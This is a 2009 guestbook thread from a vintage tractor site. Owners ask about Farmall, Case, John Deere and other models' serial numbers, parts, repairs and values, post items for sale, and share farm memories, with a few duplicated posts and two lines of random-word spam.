Dean Huster wrote on Friday, October 02, 2009 (PDT):Dad owned a W-30 and two F-20s. He traded the W-30 in on a Super M around 1962 or so. One F-20 had the corn picker permanently mounted as it was a royal pain to put on, take off and store. The second F-20 was used for planting, mowing and cultivating. As a teen, the old F-20s were embarrassing. I d give my eye teeth for Dad s old tractors now. When he sold the farm, he sold the better of the two it had a road gear transfer case mounted between engine and trannie to a neighbor with the sickle mower. The one with the picker was left with the farm. What a waste!
Wade Combs wrote on Thursday, October 01, 2009 (PDT):I recently aquired a very old Farmall tractor. I believe it is a super A. I can read the serial number as 264227 but the Model number is unreadable. I would like to try and restore it but I have to find out what year and model it is. I have seen several pictures on the net that look very simular but not exactly the same. It is possible between the years of 1946 to 1948. If anyone can give me some assistance in this and how to get more info for the restoring of it.
W.Litkeman wrote on Wednesday, September 30, 2009 (PDT):Hello there.....I recently bought a piece of property and located what appears to be a complete set of tracks for a 8n or 9n Ford......don t know what they are worth....looking to sell them....any offers...I can be reached at gletkeman at winnipeg.ca
Jim Moran wrote on Tuesday, September 29, 2009 (PDT):I just finished working on my 1950 M ,she loks great . Its worth was worth every minute of my time . Just loved working on it.
John Swaim wrote on Tuesday, September 29, 2009 (PDT):Looking for pics--precious few were taken when I was a teenager working on granpa s place. He ran minnie mos and they captivated me then and still do now--power--he had a Vista G1000 diesel with cab, must have been 68 or 69 , very unusual to have a cab tractor at that time and he was stepping up from a M5. Later he added a vista G1000LP, strong tractor. Both pulled 6-16 s and clay didn t stop em. Tandem disc with harrow also, LP with 18.5 ft and the diesel with 19.5 ft. Later he picked up a M670 and we used that for cultivating, pulling the planter and such...good tractor,, LP as well. The best and my favorite wa the 75 White 2-150--bought used around 78 , came wioth a chrome exhaust that curved to the right and no muffler, 585 c.i. no turbo no intercooler no high rpm, just raw stroke power and the nicest flame when plowing at night, that thunderous sound lugging 7-16 s and later a 25 ft tandem disc with harrow--fancy disc with hydraulic folding,, a white i believe, all the other implements mentioned were Moline brand. Granpa tried to muffle the 150 but the damn muffler was so thick I couldn t see around it so he took it back off a few weeks later and I never saw it again.Anywho, any pics of these big cats in action in the field would be appreciated. The 150 ran duals and in furrow on the seven bottom,, the diesel Vista had these unique cones for the duals to attach to, added weight and just had a nice look with the duals on. Any pics would be appreciated. Straight furrows! If anybody stilll pulls a moldboard.
Fred Sheppard wrote on Sunday, September 27, 2009 (PDT):HAVE CUB SER# 190504 J WHAT YEAR MODEL IS THIS TRACTOR PLEASE
Dale Dalton wrote on Friday, September 25, 2009 (PDT):I have a IHC Regular which was my great grandfathers. It is in rough shape and I am parting it out. The gas tank, transmission gears, PTO, carbuator and magneto could be used. If there are partular parts you are interested in let me know ans I can send a photo of them.
Ron L. wrote on Thursday, September 24, 2009 (PDT):It s away from you on mine.
Gary Chonzena wrote on Thursday, September 24, 2009 (PDT):I think I have an old Oliver, apprx 1945, and have the serial number s . Where would I find more information on this old tractor. It may also be a Cockshutt, have not found an exact picture anywhere to match what we have. Can someone help out here Thanks.
Austin Smith wrote on Thursday, September 24, 2009 (PDT):Which way is idle on the throtle, away from you, or closer to you
Ron Luster wrote on Thursday, September 24, 2009 (PDT):I have two questions, one, my M s serial# is FBK-156620 XI, could someone please tell me what year it is. My second question is a little tougher, how do I set the screws on the carb Someone messed with them and I m having a dickens of a time getting it back to rite. Thanks for any help that you can give!
Larry Brissing wrote on Wednesday, September 23, 2009 (PDT):looking for hydraulic set up for cub with belly mower,also power 3 pt. hitch
DICK VANSCOY wrote on Wednesday, September 23, 2009 (PDT):I am restoring a 1953 zb and I have lots of questions like was battery under gas tank or mounted on right side of transmission in a tray type box.
DICK VANSCOY wrote on Wednesday, September 23, 2009 (PDT):I am restoring a 1953 zb and I have lots of questions like was battery under gas tank or mounted on right side of transmission in a tray type box.
oliver wright wrote on Wednesday, September 23, 2009 (PDT):what is the top speed of them
NORMAN G. MOYER wrote on Tuesday, September 22, 2009 (PDT): THE M WITHOUT A DOUBT WAS ONE OF THE TRACTORS THAT CAPTURED A LOT OF GRACE ALONG WITH THE DC CASE, A JOHN DEERE, SUPER 77 OLIVER JUST TO NAME A FEW. NO ONE HAS TO BE ASHAMED TO OWN AN M FARMALL. THEY LL WORK WITH THE BEST IN THEIR CLASS.
Earle Johnson wrote on Tuesday, September 22, 2009 (PDT):Still looking for a set of half-tracks for our Ford 600. If anyone in Ontario or Quebec knows where I can find a set in good condition, it would be much appreciated.
Jim Reinhart wrote on Monday, September 21, 2009 (PDT):I have a VAO and need to know what type of oil is used in the hydraulic system and is the differential and gear box all connected with the same oil or does the differential take heavier oil Would appreciate comments.
Larry Allred wrote on Monday, September 21, 2009 (PDT):I got a 1953 Super H stage 2 they call it with 2 hyd. lines ,seems to be all right except for hood being cut for power steering ,but i still love it. My grandfather used one on his dairy farm and i got to ride with him some when I was a little boy in the 50 s
Brian Henecker wrote on Saturday, September 19, 2009 (PDT):Hello have a vintage1950s international utility300,gas engine 4cyl,torque amplifier model. looking how to find serial number since plat worn, foundfollowing numbers14557SJ on what was left on plate. engine hasG169 9 30 A. ONhood penciled on are 30164107and40337485looking for a carb and gasket set for engine since leaking oilhave shop manualIH10 but looking for a more specific manual for300utility
Tom D, wrote on Tuesday, September 15, 2009 (PDT):I want to convirt a 6 volt system to a 12 volt system on 1954 Super MTA, What exactly would need to be changed
K Hammer wrote on Tuesday, September 15, 2009 (PDT):wondering if anyone has or knows of anyone who has steel wheels for a F-20 prefer spade lugs. 515-326-0086 des moines, iowa
Adam J wrote on Tuesday, September 15, 2009 (PDT):I have a McCormick Deering 15-30 for sale, what a good price to be asking for it. It was running about 12 years ago before it was drained and parked. Tractor no. TG 110569 M
BJ Bono wrote on Monday, September 14, 2009 (PDT):One of the first tractors I operated as a teenager in the 1930 was a Farmall regular. In Weld county CO. Not a pleasant experience.
BJ Bono wrote on Monday, September 14, 2009 (PDT):One of the first tractors I operated as a teenager in the 1930 was a Farmall regular. In Weld county CO. Not a pleasant experience.
Keith Kapp wrote on Sunday, September 13, 2009 (PDT):I have a 1953 Case VA. I looks exactly like the fire orange colored on pictured at the top of this form. It is a general purpose agricultural tractor. The following is what I understand the colors and model numbers to be -- I see that Mark wrote on Apr 29, 2000, that he had purchased a Case VAI and it was all yellow with no parts resembling red. Mark, It is supposed to be yellow . the VA I means industrial and industrial is yellow. I see a VAI for sale at Bonney Lake, WA, currently on craigslist and it is yellow, but advertised as a VAC. The VAC is fire orange . None of these are like Jon Arms rare VAIW. I also see Denny wrote on Jan 4, 2006, that he has a 1955 VAI. I believe all VA series ended in 1954. The serial numbers of all VA series indicated a year following the actual manufacture date, therefore Denny may be thinking it is 1955 because of the S/N.
Richard Borowicz wrote on Sunday, September 13, 2009 (PDT):I restored the first tractor I ever drove in the field in Aug. 1941 at age 8yrs. It is a F-14, #FS134216 built in May 1938. I acquired it in 1999 and completed restoration in Aug. 2003, 62 years after I first drove it. It was shedded FOR 25yrs., in really bad shape, but many hours and 5000 restored, looks, and runs great,
Richard Borowicz wrote on Sunday, September 13, 2009 (PDT):I restored the first tractor I ever drove in the field in Aug. 1941 at age 8yrs. It is a F-14, #FS134216 built in May 1938. I acquired it in 1999 and completed restoration in Aug. 2003, 62 years after I first drove it. It was shedded FOR 25yrs., in really bad shape, but many hours and 5000 restored, looks, and runs great,
Perry Lutz wrote on Saturday, September 12, 2009 (PDT): A models the serial number are located under the seat on the left side. Super A is located under the seat on the right side
C Prange wrote on Friday, September 11, 2009 (PDT):Can anyone tell me how much oil is needed for an oil and filter change on the AC G The tune up specs dont include this info. THanks.
Connie Inman wrote on Thursday, September 10, 2009 (PDT):My grandpa had a Farmall B and I can remember sitting on the bench swinging my feet. Wish I could remember how old I was at the time---actually remember being a little scared!!! Would give my eye teeth to own one now in my 60 s. Love going to shows and admiring yours---THANKS
Robert Hoag wrote on Wednesday, September 09, 2009 (PDT):My tractor is a 1955 international 300 utility. I am looking for the Torque Amplifier emblems. There are two one for each side. Please let me know if you know where I can purchase for under 20 each. Thanks
BJ Manes wrote on Sunday, September 06, 2009 (PDT):Shortly after August, 1940 my parents moved to a Texas farm where I learned to drive at age nine 9 . The tractor was a Model L or possibly a Model C . I could stop it by pulling the clutch lever back. To drive forward, I had to just hold the clutch lever forward so I could not drive it in the field. I was not big enough to push the clutch lever forward to lock it in place. My frist accident also involved the Model L. I hit a steel gate post in third gear, I think with the left front wheel. The front axle bent back about 6 or so inches. My Dad had to pay 2.50 to have the axle heated and straightened out. My excuse; the steering gears were so worn that one had to turn the steering a full turn to start going the other direction. I do not recall getting a spanking after the wreck, so my excuse must have worked. Thanks for the Memories......BJ
ricky smith wrote on Sunday, September 06, 2009 (PDT):i have a 1950 farmall m serial # fbk 234765 x1 i was wondering if this was one of the white demo models does anyone know it appears to have white paint bleeding through the red can anyone help!
Sherry wrote on Sunday, September 06, 2009 (PDT):I have a 1950 molean runs on propane or did run on butane . I wood like to sell or trade for smaller tractor . She runs but needs a radiator . 559-287-3964 Fresno , Ca.
Jim Rodenberg wrote on Saturday, September 05, 2009 (PDT):I am restoring a 1941 Model 41 Three wheeler I am looking for a carbuator,and the cover for the steering. The carb is a marvel tsx 29. Any parts out there Thanks Jim
Melissa D-Strobel wrote on Wednesday, September 02, 2009 (PDT):Our elderly neighbor just bought a 1952 or 3 Ford tractor with a Pitman sickle mower. He doesn t know how to hook it up to his tractor. Can somone enlighten me and I ll pass the how to along. Any help is needed and much appreciated. Thanks again, Missy
Dan Fischer wrote on Tuesday, September 01, 2009 (PDT):I just bought a 1948 Oliver RC 70 with a loader.How do I get the two exhaust elbows and a forward facing lamp holder It was in a Minnesota tornado and that was the only damage. This beautiful machine was always stored in a shed and I m only the second lucky owner. The first owner said he spent a good part of his life on it.I m thankful because if it was not for the tornado he would not have sold it.Thank You
Bob Cleberg wrote on Tuesday, September 01, 2009 (PDT):I have a 50s vintage M Farmall that I would like to sell. Though it has lots of rust, it runs great and is very restorable. I need to know what it is worth.
Chels wrote on Tuesday, September 01, 2009 (PDT):My grandpa owns a Minneapolis Moline NTX in fab. condition. Is in storage now but some seals went bad from sitting so long. Any clue where to get parts or manuals for this moddel. Also how much are the five left of these worth
Gary wrote on Monday, August 31, 2009 (PDT):I have a mh 81 and I need to replace the gas tank and I also need 4 rims and tires. Can anyone help me out. I live in Redkey In. I would appreciate any help. Thanks
Bill Moore wrote on Monday, August 31, 2009 (PDT):BM from Nebraska....found a pic of a tractor identical to mine in maine,,,it is a DI Case,,with a magneto....have not gotten a response from them....am looking for 2 speed pto for D case to put on it...with weight in the rear box,,,weighs 9820 lbs. Still not sure hood on mine is correct or not,,,,,,would the DI of had the same decals as the D
JEFF MEYER wrote on Monday, August 31, 2009 (PDT):I AM LOOKING FOR AN OLD R JOHN DEERE OR 820 TO FIX UP. I LIVE IN OKLAHOMA.580-370-6004
Lloyd T. Britton wrote on Sunday, August 30, 2009 (PDT):I am restoring a 1950 Massey Harris 22S and need a distibutor, Autolite 1AD 6004 IE. If you have one available please e-mail me at l.britton at sasktel.net or phone me at 1-306-374-8429.
jeff laux wrote on Sunday, August 30, 2009 (PDT):i have a 1938 case rc. i am having problems with the clutch slipping, tried to adjust with no luck.what is proper procedure for clutch replacement on this tractor. any helpful web pages
JAMES L. MAC CAUGHAN wrote on Saturday, August 29, 2009 (PDT):I WOULD LIKE TO KNOW WHAT THE PROPER COLOR IS FOR A 1945 MODEL42 IF ANYONE COULD HELP.
terry garbig wrote on Tuesday, August 25, 2009 (PDT):looking for a international lo boy,preferrably with the bench seat,prefer restored,but would consider a non restored-352-598-7431 or email ;tag1 at mfi.net put in subject matter; cub low-boy thanks,terry
roger ransom wrote on Tuesday, August 25, 2009 (PDT):i have a friend that has this same model year. nut on fan- water pump pulley came lose ruined pulley stub shaft on water pump. i m helpimg try to find parts. this tractor was restored a few years back, so otherwise is in deasent shape. do you know where who could possibly locate these items assuming you want to keep you parts tractor on reserve for yourself. any comments or help will be appreciated. thank you roger by the way that is a beautiful machine
Myron Wininger wrote on Sunday, August 23, 2009 (PDT):I have a 1942 John Deere LA The tractor is complete and running . My troble is I have too much oil pressure . I replaced the oil releife valve spring and it dropped from 70 lb. to 40 lb. The manual calls for 25 max. If any one can help or tell where to get help it will be appreciated . Myron in ct.
Ben wrote on Sunday, August 23, 2009 (PDT):Are the rims of the ZASI yellow or are they red. All of the pictures i have seen they were yellow
Harold wrote on Saturday, August 22, 2009 (PDT):How do I change clutch in 1948 8-N tractor
Randal Patterson wrote on Saturday, August 22, 2009 (PDT): I have a 1939 and 1940 model L John Deere. I am trying to get one running using both tractors. The 1939 model is a top mount transmission and the 1940 model is a side mount transmission. Which one would be the best to use and which one would have the best value Both tractors look the same except for the transmissions. It looks like they both have the same engine and front end. Is this true I would also like to know where I can find a used 22 inch rear tire for it. One tire is rotted off. Any info you can give me would be appreciated.
Brent wrote on Thursday, August 20, 2009 (PDT):my massey 44 diesel, that runs and is operational, is now down to 1500 dollars 701 730 4402
Will Everett wrote on Sunday, August 16, 2009 (PDT):I have a regular don t know the year tag is gone need a lot of parts, clutch parts engine kit or new engine radiatior core like i said a lot any help would be great, it was my great grand dads I want to see it run some day thanks
D.S. Butler wrote on Sunday, August 16, 2009 (PDT):I learned to drive on a ,G model, belonging to my father, in 1948 at the age of 6. I will never forget that experance sitting in my uncles lap and driving a big thing like a real tractor.
Brent wrote on Sunday, August 16, 2009 (PDT):I have 44 massey diesel row crop for sale, runs strong, seems solid, working on starter and steering and rubber poor on back. hardly anyone puts phone number on here so here s mine. 701 730 4402
Sammi wrote on Friday, August 14, 2009 (PDT):Just picked up a massey 81R not sure of the year..I t had a lot of moss on it.I would like to see pictures of 1941 threw 1947 any one have any.
Gary Post wrote on Thursday, August 13, 2009 (PDT):Looking for a seed hopper frame assembly for the left side of a farmall cub,, not the fertilizer hopper. Kindly call 508-476-7490 8am -10pm EST thanks
Joe k wrote on Wednesday, August 12, 2009 (PDT):I have a JD 40 with hydraulic blade which I will no longer need. Moving out of the snow zone. Runs great. Motor rebuilt professionally 3 years ago. I use it mostly to move snow. Make offer.
wrote on Friday, August 07, 2009 (PDT): Syrianize!builds mnemonic salvaged Bradley triumph,Barnett wisher onion
Gary Daiber wrote on Wednesday, August 05, 2009 (PDT):Have 1952 Cub for sale for parts or restore. If interested please call 419-834-1749. Located in Ohio.
Austin Smith wrote on Sunday, August 02, 2009 (PDT):How do you start a 1951 Farmall Model M
Austin Smith wrote on Sunday, August 02, 2009 (PDT):How do you start a 1951 Farmall Model M
Austin Smith wrote on Sunday, August 02, 2009 (PDT):How do you start a 1951 Farmall Model M
Austin Smith wrote on Sunday, August 02, 2009 (PDT):How do you start a 1951 Farmall Model M
Austin Smith wrote on Sunday, August 02, 2009 (PDT):How do you start a 1951 Farmall Model M
Austin Smith wrote on Sunday, August 02, 2009 (PDT):How do you start a 1951 Farmall Model M
Austin Smith wrote on Sunday, August 02, 2009 (PDT):How do you start a 1951 Farmall Model M
Austin Smith wrote on Sunday, August 02, 2009 (PDT):How do you start a 1951 Farmall Model M
Austin Smith wrote on Sunday, August 02, 2009 (PDT):How do you start a 1951 Farmall M
Austin Smith wrote on Sunday, August 02, 2009 (PDT):How do you start a 1951 Farmall M
Mike Goodwin wrote on Sunday, August 02, 2009 (PDT):What do you want to know about them I have one restored to the most orginal you may ever find. Complete with the correct over-under Sherman transmission and lock out for the draw bars. If nterested let me know I have lost interest in it due to children and business and I am willing to part with it. Truly one of a kind!
steve johnson wrote on Saturday, August 01, 2009 (PDT):My dad,my brother and myself own 3 sc s 2 are narrow ends and the newest is wide front end with hand clutch and my uncle owns an sc and the dc that my grandfather farmed with in the early 70 s. they all run like new.we show them at a few shows in IL and always get questions about how good they look. they are a really well built tractor and very simple to restore.
Stan Beck wrote on Friday, July 31, 2009 (PDT):I have a Super A Farmall tractor that I think was manufactured in the mid 50 s. All I have is a serial number #256603. I would like to know the year of manuf. so I can order the correct owner Parts manuals.. can you help me locate the year of manuf. thanks
Don Cummins wrote on Friday, July 31, 2009 (PDT):I have a JD LA 1941, and would like to find a good resource for information about this tractor, like history, repair, restoration, parts, clubs etc. I got this tractor when I bought some land near Penn Yan NY and would like to get it running again. It s in pretty good condition with plows and cultivator. Any info would help. THANK YOU
charles mcgary wrote on Friday, July 31, 2009 (PDT): help looking at a ford dexter model# 957e7005 average cond. need battery, filtersan oil change, tires 60% and old.what is it worth any idea thank you
Lisa Hughes wrote on Thursday, July 30, 2009 (PDT):I own a 1946 Farmall A tractor that runs perfectly because my brother makes new parts for it when needed. His machine shop is located in Lansing, MI. You can check out his website for Langenberg Machine Shop. Anyway, I d like to sell it to him now, and I m wondering what a fair price would be. In 1993 it was appraised at 1200. Thank you.
Jeff A. Dawson wrote on Wednesday, July 29, 2009 (PDT):To whom it may concern, We own a 1953 John Deere 60 and desperately need a copy of the instument panel,s wiring diagram as viewed from the back, as idiot-proof as possible. It is a gasoline model and the Ser.# is 6001610. Sincerely, Jeff Dawson PS Your prompt attention would be IMMENSELY APPRECIATED!!
Robert Bushman wrote on Sunday, July 26, 2009 (PDT):I have a 1948 model 81 with all the parts just need radiator fixed.
Dwight A.Brown wrote on Saturday, July 25, 2009 (PDT):I am a photographer and did a picture of a white M at a tractor show. It is a beautiful restoration. It says demonstrator on the hood. Were all the white ones demonstrators or were some sold to use.
Chris wrote on Saturday, July 25, 2009 (PDT):I purchased a Cub 130 a few months ago with a belly mower, not sure of the year due to not being able to locat any data plates. Anyhoo, I m on my 3rd belt and I m rather sure I m not doing it right. Is there anyone out here that knows anything about the correct mount, proper twists or anything that would help me The deck is a Woods L59. Any pictures or diagrams would be very helpful. Thanks...
Balch, L wrote on Thursday, July 23, 2009 (PDT):Looking at buying a 1949 Farmall Cub Tractor w/Belly mower. Completely restored. What is it worth
owen wrote on Thursday, July 23, 2009 (PDT):HI, i have a MH 82 a 45 year model. its missing a side plate with the louvres tin . anyone know where i can get one. thanks in advance
Henry wrote on Wednesday, July 22, 2009 (PDT):Hi Some 50 years ago I worked on a farm in england united kingdom, on the fame was a mm tractor, I believe it was used by the USA airbase in the uk, the front wheels were tight together, I think it was for working crops,from memory it had a straight 6 cylinder petrol gas side valve engine, wide rubber rear tyres, and the rear wheel were covered mudgards no idea of model, age etc, was 20 years ahead of anything in england at the time, I do remember the hand clutch lever,and Lights, unheard of at the time, is there anybody out there that can help me track down what model etc it was, and how it would have been in the uk, other than the us air base
Hans Skagen wrote on Tuesday, July 21, 2009 (PDT):Can you please help me out, I have a Fordson Super Dexta and think it is a 1962-64 model, I need to know how many litres of oil for the diff and hydraulics and what type of oil I need to use,any info will be appreciated. Hans Norway
Mark Springer wrote on Monday, July 20, 2009 (PDT):We are going to repaint an Oliver row crop 70 with dual exhaust and was wandering what exactly was the original paint scheme for the this particular tractor with the wider front end.
kirk wrote on Wednesday, July 15, 2009 (PDT):My father has three of these W series tractors. a W4, W6 and I think a W9. All three of these tractors have been restored and are in excellent working order. He loves these tractors. He is also getting up in age and just had a stroke this last fall. I am helping him find buyers for thes tractors. Me not knowing anything about tractors, is there any websites or auction sites that I can use to find out about buysrs for these gems.
Joan Benscoter wrote on Tuesday, July 14, 2009 (PDT):Hello. What are the model numbers and serial numbers of the AC WC Tractors I have a tractor that looks like the picture but not sure of the vintage. How can I identify the year Thank you Joan Benscoter
ed nester wrote on Monday, July 13, 2009 (PDT): i have a massey harris that has been settinf for a few years it cut off one day and never would start again being not much of a mechanic ive never persued fixing it if i had to guess it just isnt getting any fire. not sure whats the value of this
Larry wrote on Thursday, July 09, 2009 (PDT):I too am looking for a 50 s or 60 s vintage Farmall/International Cub Lo-Boy and a 105 Side Mounted, Balanced Head Sickle Bar Mower attachment. Please let me know if anyone has either of these items for sale near Pittsburgh,PA.
Andy McCULLOUGH wrote on Thursday, July 09, 2009 (PDT):I have two 1937 Co-oP tractors, a model no.3 and model no. 2, both semi restored. The #3 was purchased new by my dad on Sept. 14, 1937, for 1375.00. He spent many hours working this tractor, grading roads, plowing, threshing, and used as power for McCullough Bros. feed mill in Allenford Ontario, CANADA. The #2 was purchased 2005 at Stewart Weavers estate sale. His father, Herman was the sales agent for Co-oP tractors in the Owen Sound area in 1937. He sold a total of nine tractors in this area. Between my cousin and I we have 13 Co-oP tactors , of different years and models.
Austin Smith wrote on Tuesday, July 07, 2009 (PDT):dylan what does a generator look like
Austin Smith wrote on Tuesday, July 07, 2009 (PDT):dylan what does a generator look like
Austin Smith wrote on Tuesday, July 07, 2009 (PDT):dylan what does a generator look like
philip zillinger wrote on Monday, July 06, 2009 (PDT):I have a Kub-Klipper K 4 belly mower for sale
kevin wrote on Monday, July 06, 2009 (PDT):hello i am restoring a 60 row crop,i will no doubt have lots of questions,first what is proper paint codes .and how important are the little dogs down by the steering gear,mine i cannot free up,and i believe they would help you to make tight turns
D Burleson wrote on Sunday, July 05, 2009 (PDT):I have an International 340 Utility that I am restoring and need a wiring diagram.
Rodwell A wrote on Saturday, July 04, 2009 (PDT):Just bought a cub with lots of attachments....but have no idea how to hook any of these up...any help would be great...have a blade...bottom plow...disc plow... cultivators...plow points...and hillers i have figured out
OSFB wrote on Thursday, July 02, 2009 (PDT):We had a 44 gas on the farm when I was growing up. It was row-crop, but had no 3pt. We used it mainly for hay production...pulling the rake and trailers. Operated it from the time I was about 10 years old. Was an easy tractor to drive considering it had power nothing.
Joe wrote on Thursday, July 02, 2009 (PDT):What is the value of a 1949 Farmall Cub without implements It is in good condition. Thanks
rusty lanham wrote on Wednesday, July 01, 2009 (PDT):I have a A-C G like in the one shown and i m having a hard time finding info on it.I m not good with the computer,so it s not easy. thanks
Joe Weaver wrote on Wednesday, July 01, 2009 (PDT):Just bought Case val 1945 and would like good pictures of a restored one. Has power take off and 3 pt. hitch.
Tom Krotzman wrote on Tuesday, June 30, 2009 (PDT): I have a 1943 Model 81. I need the completehoodsides, both front and rear. Does anyone have any or can you tell me where to get them
Mary Kollmansberger wrote on Tuesday, June 30, 2009 (PDT):Looking for allis chalmers g sickle mower--need length of pitman to make one or where can buy one
dylan lynch wrote on Wednesday, June 24, 2009 (PDT):austin, if the m has a generator it is probably has a 6 volt system. go to your nerest ih dealer to get a battery
john m wrote on Monday, June 22, 2009 (PDT):can someone tell me how yo tell the diffrence between an f-20 and an f-30 we had 2 IH s that burnd in a barn fire in the early 90s my uncle who owned them died as did my grandfather my dad dosnt know and i thought one was an f-20 but the f-20s and f-30s look a like any info would help because iwould like to restore it
john m wrote on Monday, June 22, 2009 (PDT):can someone tell me how yo tell the diffrence between an f-20 and an f-30 we had 2 IH s that burnd in a barn fire in the early 90s my uncle who owned them died as did my grandfather my dad dosnt know and i thought one was an f-20 but the f-20s and f-30s look a like any info would help because iwould like to restore it
shoan nelson wrote on Monday, June 22, 2009 (PDT):i live in thief river falls mn and have owned a 1947 b for 13 years with a woods 59 deck belly mount. I have decided to sell it because i have a big zerro turn now. it is in good shape and always has been a great running tractor. i put it out on the road for 2,000 and the people thought i was nuts. i paid 2,000 for the tractor 13 years ago then put the woods belly mount on it that i paid 1,200 for. is my 2,000 out of line anyone know what they are going for
Christopher A. Blazek wrote on Monday, June 22, 2009 (PDT):Hi Everyone...I am a 30 year old Fireman in Chattanooga, TN. I just inheritated my Grandfathers Cub. He passed away about five years ago, and my grandmother is now ready to sell their house and get rid of things. At first we thought about selling the cub but that brought my grandmother to tears, because my grandfather loved the tractor. The tractor hold many good memories for me too, so I told her that I would take it home. Well now it is sitting in my garage and I need to know how to start looking up parts for it. I would love to restore it to it s orginal color and look. I would love any suggestions on where to start my search.
Gary Matthews wrote on Monday, June 22, 2009 (PDT):I have an M with bucket loader,posthole oger, sickle bar,three bottom plow, disk, and a molean steel wheel disk Ive aquired the M needs a moter but its all there the emplaments are in exalent condishion.All was bought new and owned by one man if anyone enterrested its all for sale my home #405-462-7339 my cll #405-245-7766 thank you
Marge Lienhard wrote on Sunday, June 21, 2009 (PDT):I am looking for 38 wheels for an Oliver 70 RC, or inner tube for a 9.00x40 tire or 9,00x40 or 11x40 tires to replace the tires now on the machine. Thanks!
B M wrote on Friday, June 19, 2009 (PDT):I just bought a case with a loader on it,,,don t know what madel but from a few pics seen,,guessing DI. It has a cast radiator,no dipstick,weighted wheels,pump on front with a large guard plate that says CASE and a counterweight box on rear that look to say CASE 40.There is a hand lever on the right side.Hand and foot throttle controls. The loader has two cylinders on each side as well as the bucket one. ROAD GRADER rear tires and smooth 9.50-16 front tires. No PTO but is a plate where one could be applied i believe. Seems to run out ok....The hood is not correct,has two holes at rear of it and maybe a little wide. The serial no. tag from dash panel is gone. Info on this would be appreciated. A lead on a proper hood and if pto can be added easily and where to find one would be nice.........
mohsen wrote on Thursday, June 18, 2009 (PDT):Dear Sir We are a company from Cairo Egypt for importing used trucks cars 1 ton limit regular cap for cutting, dismantle like Isuzu - Toyota so can we get the names of the companies in California witch can provide us with used trucks cars pick-up beginning from 1984; 1998 such as junk yards, scrapes in a good quality and good price and this place has to cut, dismantle, pack in his place specially that we shall come to America at the end of this month. Also can the owner of the place arrange a hotel or flat plus a car for moving We can take monthly about fifty trucks at less. Thank you Best regards Manager / Mohsen Moussa
George McPherson wrote on Saturday, June 13, 2009 (PDT):We own a 720 Diesel with pony motor start. It runs and drives well. We will be pulling it in a 8500# no turbo class tonight in Baraboo, Wi. We have owned this tractor almost since new. Many years it was our #2 tractor. Then after some time we left it on the mounted corn picker. Used it to open fields for a pull type. Then retired it to the rear of the shed. We have not ever had it in the shop. Mabe we will o/h it in the future. I repainted it a few years ago so it looks good. My son has it cleaned up and running good. Wish us well tonight. I know we will be up against everything with more power. But we will have fun..
David Olson wrote on Thursday, June 11, 2009 (PDT):I purchased a 1957 Super 55 Oliver about 5 years ago from my uncle. I have a 7 3pt mounted mower. I believe it is an Oliver. There is a lift cable on the left side of the mower with a yoke/clevis type hook up. Does this attach to the left side mount under the left fender Appreciate your answer, or better yet a photo if anyone out there has one hooked up properly. Thanks.
Bob wrote on Wednesday, June 10, 2009 (PDT):In about 1952 I bought an F-20 for 100. It was on rubber and I rebuilt the engine using high comp sleeves and pistons. I also found a kit to put an overdrive case in place of the driveshaft. I used it several times to pull the neighbors F-30 out of the mud or snow. It had smaller tires and got stuck easily. I also replaced the bushing on the steering wheel with a teflon bushing that I made. It took all the vibration out of the wheel. I loved the old beast. I wish I still had it.
Matt Rice wrote on Tuesday, June 09, 2009 (PDT):My mother has a Leader Model 48D that she would like to sell. It belonged to my father who died 5 years ago and she would just like to get it out of the garage where it has sat all that time. She is willing to entertain any offers for it. She lives in Cuyahoga Falls, OH. Thank you.
hoste hubert wrote on Tuesday, June 09, 2009 (PDT):Hello I has a farm tractor of the leading brand built for the Chagrin Falls restaurant I need pictures and information; Can you help me or give me email addresses Sincerely H HOSTE
Brian wrote on Sunday, June 07, 2009 (PDT):I have a farmall cub and after powerwashing it i found orange paint under the red, is there anyway to tell if it is an industral or a highway tractor
curtis wrote on Sunday, June 07, 2009 (PDT):I, brought a 1952 golden jubilee the man that i brought it from siad that it was ran with no oil so it kick the back piston out of the side block. iam going to restore it but were can find a starter for it ihave all other parts thank you
Kevin Labude wrote on Tuesday, June 02, 2009 (PDT):Dave Gierszewski; Who is your source for fenders I need fenders or at least patterns for making fenders for my 1922.
Kevin Labude wrote on Tuesday, June 02, 2009 (PDT):Dave Gierszewski ; W
Will V wrote on Tuesday, June 02, 2009 (PDT):I have a Case, Model DI. Serial number 5219389. It has a New Idea Horn loader, built in Fort Dodge. I bought this tractor in 1987. When I bought it, it was Case orange with aluminum rims. I am looking for manuals and other information on this tractor, like year, where it was built, etc. I am also having rear wheel problems, the rims are rotted. I would like to know what kind of road grader rims to put on. Any information would be grately appreciated. Will
Jimmy Jean wrote on Monday, June 01, 2009 (PDT):I needa a fan assembly for 1946 Model B. I use the B for mowing about 4 acres each month.
Jim Broughton wrote on Saturday, May 30, 2009 (PDT):Brian; Yeah, the Cub uses a lighter oil, go to your IH/Case dealer and get a gallon of hydraulic fluid, and check that seal before you put it in. The heavy stuff goes in the tranny/PTO section. Good luck ! Jim B.
Frank Mac Donald wrote on Saturday, May 30, 2009 (PDT):I need help. I have, so I m told a 1938 Avery row croper. I m not sure what model it is I have had it for a few years now. All I can tell you is a three wheeled and is powered by a inline 4cyl Hercules and all red. I would love to restore it fully. If anyone can help me figure out what it is or where to find parts for it would be greatly appreceated. Thanks for your time!
TODD REISMANN TAYLOR WI wrote on Saturday, May 30, 2009 (PDT):IM NEW TO THIS SITE.BUT I HAVE ALOT OF FARMALL B INFORMATION I CAN SHARE PLEASE ASK.
Brett Burkett wrote on Saturday, May 30, 2009 (PDT):I have an A-C G and use it weekly to mow and a couple times a year to plow gardens. Does any one have info on where I could get more implements for it. Parts also.
Jason Doucet wrote on Tuesday, May 26, 2009 (PDT):I have a 154 cub cadet and I m tring to put a timing light on it but I do not which line on the wheel to go off. I rebuild thge engain a year ago and the starter does not spin good i have to help it i got it rebuild and it is the same. help me if you can Thanks Jason hotrided at hotmail,com
Marc Millitzer wrote on Monday, May 25, 2009 (PDT):I have an Allis G with an electric conversion. It runs off batteries. I am looking for information on a Kub Klipper Mower I have that fits my tractor. I can t figure out how the belts and pulleys attach, any Help
Justin Armstrong wrote on Friday, May 22, 2009 (PDT):I have a case di given to me by my uncle it was used by our school district to plow roads to get the buses out to the kids it has a name plate for the army core of engineers and just the model D I if any one could let me know what the tractor was actualy made for i would appreaciate it very much
wrote on Thursday, May 21, 2009 (PDT): liquidity cytoplasm courageous Telefunken dazzling partings retrofitting Laredo amending
